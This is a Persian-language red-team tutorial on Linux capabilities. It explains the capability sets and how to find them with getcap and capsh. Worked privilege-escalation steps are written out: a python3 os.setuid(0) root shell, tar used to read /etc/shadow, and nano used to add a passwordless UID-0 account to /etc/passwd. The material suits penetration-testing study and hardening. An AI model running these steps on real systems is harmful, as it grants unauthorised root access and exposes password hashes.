Privilege Escalation با Linux Capabilities
نویسنده: یاسین عابدینی · دسته: RedTeam · تاریخ انتشار: ۱۴۰۵/۵/۳۰
Linux Capabilities در Red Team
Linux Capabilities یکی از مهمترین مکانیزمهای کنترل دسترسی در کرنل لینوکس است که اختیارات کامل Root را به مجموعهای از مجوزهای مستقل تقسیم میکند. در تست نفوذ و عملیات Red Team، بسیاری از سناریوهای Privilege Escalation نه به دلیل وجود یک آسیبپذیری، بلکه به علت Misconfiguration همین Capabilityها رخ میدهند.
مقدمه
در مدل سنتی لینوکس تنها دو سطح دسترسی وجود داشت: Root و User. هر پردازشی که با UID صفر اجرا میشد، به تمام منابع سیستم دسترسی کامل داشت. این مدل اگرچه ساده بود، اما اصل امنیتی Least Privilege را نقض میکرد.
از کرنل 2.2 به بعد، Linux Capabilities معرفی شد تا قدرت مطلق Root به دهها مجوز کوچکتر تقسیم شود. در نتیجه میتوان تنها یک قابلیت مانند تغییر UID یا ایجاد Raw Socket را به یک برنامه داد، بدون اینکه آن برنامه کاملاً Root باشد.
man 7 capabilities
Linux Capabilities چیست؟
Capabilityها مجموعهای از بیتهای امنیتی هستند که توسط کرنل مدیریت میشوند. هر پردازش و هر فایل اجرایی میتواند تعدادی Capability داشته باشد و کرنل هنگام اجرای عملیات حساس، وجود آن Capability را بررسی میکند.
مهمترین Capabilityها
| Capability | کاربرد |
|---|---|
| CAP_SETUID | تغییر User ID پردازش |
| CAP_SETGID | تغییر Group ID |
| CAP_DAC_OVERRIDE | نادیده گرفتن Permissionهای فایل |
| CAP_DAC_READ_SEARCH | خواندن فایل و ورود به دایرکتوری بدون مجوز |
| CAP_NET_RAW | ایجاد Raw Socket و Packet Crafting |
| CAP_NET_BIND_SERVICE | Bind روی پورتهای کمتر از 1024 |
| CAP_SYS_ADMIN | عملیات مدیریتی مانند Mount و Namespace |
| CAP_SYS_MODULE | بارگذاری یا حذف Kernel Module |
Capability Sets
از دید کرنل، هر پردازش پنج مجموعه Capability دارد که رفتار امنیتی آن را تعیین میکنند.
| Flag | نام | توضیح |
|---|---|---|
| P | Permitted | قابلیتهایی که پردازش مجاز است داشته باشد. |
| E | Effective | قابلیتهایی که هماکنون فعال هستند. |
| I | Inheritable | قابلیتهایی که به فرزند منتقل میشوند. |
| B | Bounding | حداکثر Capabilityهای مجاز برای پردازش. |
| A | Ambient | Capabilityهایی که بدون SUID به Child Process منتقل میشوند. |
نمونه خروجی:
/usr/bin/python3 = cap_setuid+ep
مقدار +ep یعنی این Capability هم در مجموعه
Permitted و هم Effective قرار دارد؛ بنابراین
بلافاصله پس از اجرای فایل فعال خواهد بود.
Enumeration در Red Team
پس از بهدست آوردن Initial Shell، یکی از اولین مراحل Enumeration بررسی Capabilityها است. این مرحله معمولاً قبل از بررسی Kernel Exploit انجام میشود.
Enumeration فایلها
getcap -r / 2>/dev/null
نمونه خروجی:
/usr/bin/python3 = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/tar = cap_dac_override+ep
وجود Capability روی ابزارهایی مانند Python، Perl، Tar یا Nano معمولاً یک Misconfiguration بسیار خطرناک محسوب میشود.
Enumeration پردازشها
برای مشاهده Capabilityهای یک Process:
cat /proc/4102/status | grep Cap
خروجی به صورت Bitmask است:
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
برای Decode کردن مقدار:
capsh --decode=0000003fffffffff
Capabilityهای Session فعلی
sudo capsh --print
این دستور تمام Capabilityهای فعال، Bounding Set و Ambient Set مربوط به Shell فعلی را نمایش میدهد.
سناریوی واقعی: CAP_SETUID → Root Shell
مرحله اول: شناسایی
$ id
uid=1001(user)
$ getcap -r / 2>/dev/null
/usr/bin/python3 = cap_setuid+ep
در این مثال Python دارای Capability تغییر UID است؛ بنابراین بدون داشتن SUID نیز میتواند شناسه کاربری پردازش خود را تغییر دهد.
مرحله دوم: سوءاستفاده
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
هنگام اجرای os.setuid(0)، کرنل وجود
CAP_SETUID را بررسی کرده و در صورت مجاز بودن، UID پردازش را به صفر
تغییر میدهد.
نتیجه
root@target:~#
uid=0(root)
gid=0(root)
در این سناریو هیچ Kernel Exploit یا Buffer Overflow وجود ندارد؛ تنها یک Capability اشتباه روی Python باعث Privilege Escalation شده است.
CAP_DAC_READ_SEARCH
این Capability اجازه میدهد برنامه محدودیتهای DAC (Discretionary Access Control) را فقط برای خواندن فایلها و ورود به دایرکتوریها دور بزند.
جستجوی فایلهایی که این Capability را دارند:
getcap -r / 2>/dev/null | grep cap_dac_read_search
نمونه خروجی:
/usr/bin/tar = cap_dac_read_search+ep
خواندن فایل Shadow
tar cvf shadow.tar /etc/shadow
tar -xvf shadow.tar
cat etc/shadow
با وجود اینکه کاربر مجوز خواندن مستقیم /etc/shadow را ندارد،
Capability روی Tar باعث عبور از محدودیت DAC میشود.
اضافه کردن Capability
sudo setcap cap_dac_read_search+ep /usr/bin/tar
حذف Capability
sudo setcap -r /usr/bin/tar
CAP_DAC_OVERRIDE
این Capability بسیار خطرناکتر از نسخه Read/Search است، زیرا امکان نادیده گرفتن تقریباً تمام Permissionهای فایل را برای خواندن و نوشتن فراهم میکند.
مرحله اول: شناسایی
getcap -r / 2>/dev/null | grep cap_dac_override
نمونه خروجی:
/usr/bin/nano = cap_dac_override+ep
مرحله دوم: ویرایش passwd
nano /etc/passwd
اضافه کردن کاربر با UID صفر:
vulncity::0:0:root:/root:/bin/bash
مرحله سوم: دریافت Root
su vulncity
از آنجا که Nano میتواند فایلهای سیستمی را بدون Permission ویرایش کند، مهاجم قادر است یک حساب Root جدید ایجاد کند.
مهمترین Capabilities برای Red Team
| Capability | سناریوی هجومی |
|---|---|
| CAP_SETUID | Privilege Escalation از طریق تغییر UID |
| CAP_SETGID | دسترسی به گروههای Privileged |
| CAP_DAC_READ_SEARCH | خواندن فایلهای حساس مانند Shadow |
| CAP_DAC_OVERRIDE | ویرایش فایلهای سیستمی و ایجاد کاربر Root |
| CAP_NET_RAW | Sniffing، ARP Spoofing و Packet Crafting |
| CAP_NET_BIND_SERVICE | راهاندازی سرویس روی پورت 80 یا 443 |
| CAP_SYS_ADMIN | Container Escape، Mount و Namespace Abuse |
| CAP_SYS_MODULE | بارگذاری Rootkit در قالب Kernel Module |
تفاوت SUID و Linux Capability
| SUID | Capability |
|---|---|
| کل برنامه با Root اجرا میشود. | فقط یک مجوز مشخص فعال میشود. |
| Granular نیست. | کاملاً Granular است. |
| ریسک بالاتر در صورت سوءاستفاده. | بر پایه Least Privilege طراحی شده است. |
| وابسته به بیت SUID فایل است. | وابسته به Extended Attribute فایل است. |
نمونه SUID
-rwsr-xr-x 1 root root ... /bin/bash
نمونه Capability
/usr/bin/python3 = cap_setuid+ep
هر دو مکانیزم میتوانند منجر به Privilege Escalation شوند، اما SUID کل برنامه را با UID صفر اجرا میکند، در حالی که Capability تنها اجازه انجام یک عملیات خاص را به همان برنامه میدهد.
تفاوت Linux Capabilities و Polkit
Capabilities و Polkit هر دو به کنترل دسترسی مرتبط هستند، اما در دو لایه کاملاً متفاوت از سیستمعامل عمل میکنند.
| Linux Capabilities | Polkit |
|---|---|
| Privilege Model | Authorization Framework |
| داخل Kernel پیادهسازی شده است. | در User Space اجرا میشود. |
| به فایل اجرایی مجوز میدهد. | اجازه انجام عملیات مدیریتی را بررسی میکند. |
| با getcap بررسی میشود. | با pkaction و قوانین Polkit بررسی میشود. |
| Misconfiguration محور است. | ممکن است Vulnerability محور باشد. |
سناریوی حمله با Capability
- دسترسی اولیه به عنوان User
- اجرای getcap
- پیدا کردن Python با CAP_SETUID
- اجرای setuid(0)
- دریافت Root Shell
جایگاه Capabilities در متدولوژی Red Team
در یک عملیات استاندارد Privilege Escalation، ترتیب Enumeration معمولاً به شکل زیر است:
- بررسی اطلاعات کاربر (id, groups)
- بررسی sudo -l
- جستجوی فایلهای SUID
- بررسی Linux Capabilities
- بررسی Polkit و pkexec
- Kernel Exploit در صورت نیاز
دلیل اهمیت این ترتیب آن است که سوءاستفاده از Capabilityها کاملاً قانونی و مبتنی بر رفتار کرنل است و معمولاً پایدارتر، کمریسکتر و بدون نیاز به Exploitهای پیچیده انجام میشود.
جمعبندی
Linux Capabilities یکی از مهمترین نقاط بررسی در تست نفوذ سیستمعامل لینوکس است. وجود Capabilityهایی مانند CAP_SETUID، CAP_DAC_OVERRIDE یا CAP_SYS_ADMIN روی ابزارهای عمومی میتواند مستقیماً مسیر رسیدن به Root را فراهم کند.
یک Red Teamer حرفهای همیشه قبل از رفتن به سراغ Kernel Exploitها، Capabilityهای فایلها و پردازشها را Enumeration میکند؛ زیرا در بسیاری از محیطهای واقعی، Misconfiguration از Vulnerability ارزشمندتر است.